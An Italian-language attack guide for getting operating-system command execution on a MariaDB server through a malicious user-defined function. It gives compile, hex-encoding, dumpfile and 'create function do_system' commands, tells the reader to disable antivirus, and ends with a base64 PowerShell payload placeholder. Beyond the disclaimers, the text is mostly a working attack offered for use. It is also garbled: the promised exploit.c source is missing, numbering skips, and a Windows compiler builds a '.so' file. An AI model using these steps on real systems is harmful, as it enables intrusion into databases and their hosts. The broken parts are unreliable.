
Esecuzione di codice autenticata sul database
Questa guida fornisce istruzioni passo-passo per riprodurre un attacco tramite funzione definita dall'utente (UDF) su un sistema di database. Tieni presente che questo exploit potrebbe funzionare su alcuni sistemi, ma potrebbe non funzionare correttamente su architetture a 64 bit o su determinate build.
Avvertenza: Questo materiale è solo a scopo educativo. L'uso non autorizzato di queste tecniche è illegale e non etico.
Innanzitutto, crea un file chiamato exploit.c e aggiungi il seguente codice:
### 2. Compilare il codice UDF
Compila il codice dell'exploit usando il compilatore `x86_64-w64-mingw32-gcc`:
```bash
x86_64-w64-mingw32-gcc -g -c exploit.c
Genera un file oggetto condiviso (exploit.so) dal file oggetto compilato:
x86_64-w64-mingw32-gcc -g -shared -Wl,-soname,exploit.so -o exploit.so exploit.o
Usa xxd per convertire il file .so in formato esadecimale:
xxd -p exploit.so | tr -d '\n' > hex_value.txt
Copia il valore esadecimale da hex_value.txt ed esegui il seguente comando nel tuo database:
DB> set @shell = 0x<hex_value>;
Trova la directory dei plugin eseguendo:
DB> select @@plugin_dir;
Quindi, crea l'oggetto condiviso dell'exploit nella directory dei plugin:
DB> select binary @shell into dumpfile 'C:\\Program Files\\MariaDB 11.1\\lib\\plugin\\exploit.so';
Nota: Modifica il percorso in base alla configurazione del tuo sistema o alla directory dei plugin specifica.
Crea una nuova funzione nel database usando l'exploit:
DB> create function do_system returns integer soname 'exploit.so';
Disattiva qualsiasi antivirus o Windows Defender che potrebbe bloccare l'exploit. Quindi, esegui un comando usando la funzione appena creata:
DB> select do_system('powershell base64 here');
Sostituisci 'powershell base64 here' con il payload codificato in base64 del comando che desideri eseguire.
Dichiarazione di esclusione di responsabilità: Questo documento è destinato esclusivamente a scopi educativi e di ricerca sulla sicurezza. L'uso improprio di queste informazioni può comportare accuse penali e gravi sanzioni legali. Ottieni sempre l'autorizzazione dalle autorità competenti prima di testare qualsiasi vulnerabilità su una rete o sistema.